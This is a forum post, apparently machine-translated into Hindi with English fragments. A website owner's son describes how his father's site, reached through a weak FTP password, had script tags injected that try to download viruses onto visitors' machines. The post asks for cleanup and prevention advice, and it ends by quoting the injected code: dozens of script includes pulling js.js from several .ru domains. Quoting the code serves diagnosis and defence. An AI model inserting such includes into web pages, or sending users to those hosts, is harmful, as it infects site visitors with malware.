मेरे पिता ने आज मुझे बुलाया और कहा कि लोग अपनी वेबसाइट पर जा रहे
थे 168 वायरस अपने कंप्यूटर पर डाउनलोड करने की कोशिश कर रहे थे। वह
बिल्कुल तकनीकी नहीं है, और पूरी चीज को WYSIWYG संपादक के साथ बनाया
है।
I popped his site open and viewed the source, and there was a
line of Javascript includes at the bottom of the source right
before the closing HTML tag. They included this file (among many
others): http://www.98hs.ru/js.js <--
TURN OFF JAVASCRIPT BEFORE YOU GO TO THAT URL.
तो मैंने अभी इसके लिए टिप्पणी की। यह पता चला कि उसका एफ़टीपी
पासवर्ड एक सादा शब्दकोष शब्द छह अक्षरों का लंबा था, इसलिए हमें लगता
है कि यह हैक कैसे हुआ। हमने अपना पासवर्ड 8+ अंकों के गैर-शब्द
स्ट्रिंग में बदल दिया है (वह एक पासफ्रेज़ के लिए नहीं जायेगा
क्योंकि वह एक शिकार-एन-पेक टाइपर है)।
मैंने एक जोइस 98hs.ru पर किया था और पाया कि यह
चिली में एक सर्वर से होस्ट किया गया है। वास्तव में इसके साथ एक
ई-मेल पता भी जुड़ा हुआ है, लेकिन मुझे गंभीरता से संदेह है कि यह
व्यक्ति अपराधी है। शायद कुछ अन्य साइट जो हैक हो गई ...
मुझे नहीं पता कि इस बिंदु पर क्या करना है, हालांकि मैंने पहले
कभी इस तरह की चीज़ से निपटाया नहीं है। किसी के पास कोई सुझाव
है?
वह webhost4life.com के माध्यम से सादा जेन अन-सुरक्षित एफटीपी का
उपयोग कर रहा था। मुझे अपनी साइट पर do sftp का कोई तरीका भी
दिखाई नहीं देता है। मैं सोच रहा हूं कि उसका उपयोगकर्ता नाम और
पासवर्ड अवरुद्ध हो गया है?
तो, समुदाय को यह अधिक प्रासंगिक बनाने के लिए, अपनी
वेबसाइट को हैक करने से बचाने के लिए आपको कौन से कदम उठाने चाहिए /
सर्वोत्तम अभ्यासों का पालन करना चाहिए?
रिकॉर्ड के लिए, यहां कोड की रेखा है जो "जादुई रूप से" अपनी फ़ाइल
में जोड़ दी गई है (और अपने कंप्यूटर पर उसकी फाइल में नहीं है -
मैंने इसे पूरी तरह से सुनिश्चित करने के लिए टिप्पणी की है कि यह कुछ
भी नहीं करेगा इस पृष्ठ पर, हालांकि मुझे यकीन है कि जेफ इसके खिलाफ
सुरक्षा करेगा):
<!--script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js>